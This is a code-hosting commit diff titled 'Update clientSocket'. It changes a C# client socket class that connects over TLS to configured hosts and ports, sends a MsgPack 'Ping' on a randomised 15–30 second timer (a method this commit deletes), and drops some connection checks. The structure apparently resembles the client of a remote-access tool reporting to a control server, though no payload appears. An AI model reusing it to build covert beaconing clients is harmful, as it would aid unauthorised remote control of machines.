Update clientSocket
This commit is contained in:
parent
052fe588f4
commit
5a0c10940e
@ -60,8 +60,7 @@ namespace Client.Sockets
|
|||||||
Client.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports));
|
Client.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (Client.Connected)
|
|
||||||
{
|
|
||||||
Debug.WriteLine("Connected!");
|
Debug.WriteLine("Connected!");
|
||||||
IsConnected = true;
|
IsConnected = true;
|
||||||
SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate);
|
SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate);
|
||||||
@ -72,12 +71,6 @@ namespace Client.Sockets
|
|||||||
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
|
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
|
||||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||||
}
|
}
|
||||||
else
|
|
||||||
{
|
|
||||||
IsConnected = false;
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
Debug.WriteLine("Disconnected!");
|
Debug.WriteLine("Disconnected!");
|
||||||
|
@ -28,7 +28,6 @@ namespace Client.Sockets
|
|||||||
public SslStream SslClient { get; set; }
|
public SslStream SslClient { get; set; }
|
||||||
private byte[] Buffer { get; set; }
|
private byte[] Buffer { get; set; }
|
||||||
private long Buffersize { get; set; }
|
private long Buffersize { get; set; }
|
||||||
// private Timer Tick { get; set; }
|
|
||||||
private MemoryStream MS { get; set; }
|
private MemoryStream MS { get; set; }
|
||||||
public bool IsConnected { get; set; }
|
public bool IsConnected { get; set; }
|
||||||
private object SendSync { get; } = new object();
|
private object SendSync { get; } = new object();
|
||||||
@ -47,18 +46,14 @@ namespace Client.Sockets
|
|||||||
|
|
||||||
Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));
|
Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));
|
||||||
|
|
||||||
if (Client.Connected)
|
|
||||||
{
|
|
||||||
Debug.WriteLine("Temp Connected!");
|
Debug.WriteLine("Temp Connected!");
|
||||||
IsConnected = true;
|
IsConnected = true;
|
||||||
SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate);
|
SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate);
|
||||||
SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
|
SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
|
||||||
Buffer = new byte[4];
|
Buffer = new byte[4];
|
||||||
MS = new MemoryStream();
|
MS = new MemoryStream();
|
||||||
// Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
|
|
||||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||||
}
|
}
|
||||||
}
|
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
Debug.WriteLine("Temp Disconnected!");
|
Debug.WriteLine("Temp Disconnected!");
|
||||||
@ -92,7 +87,7 @@ namespace Client.Sockets
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (!Client.Connected || !IsConnected)
|
if (!ClientSocket.IsConnected || !IsConnected)
|
||||||
{
|
{
|
||||||
IsConnected = false;
|
IsConnected = false;
|
||||||
Dispose();
|
Dispose();
|
||||||
@ -178,13 +173,5 @@ namespace Client.Sockets
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public void CheckServer(object obj)
|
|
||||||
{
|
|
||||||
MsgPack msgpack = new MsgPack();
|
|
||||||
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
|
||||||
Send(msgpack.Encode2Bytes());
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
Loading…
x
Reference in New Issue
Block a user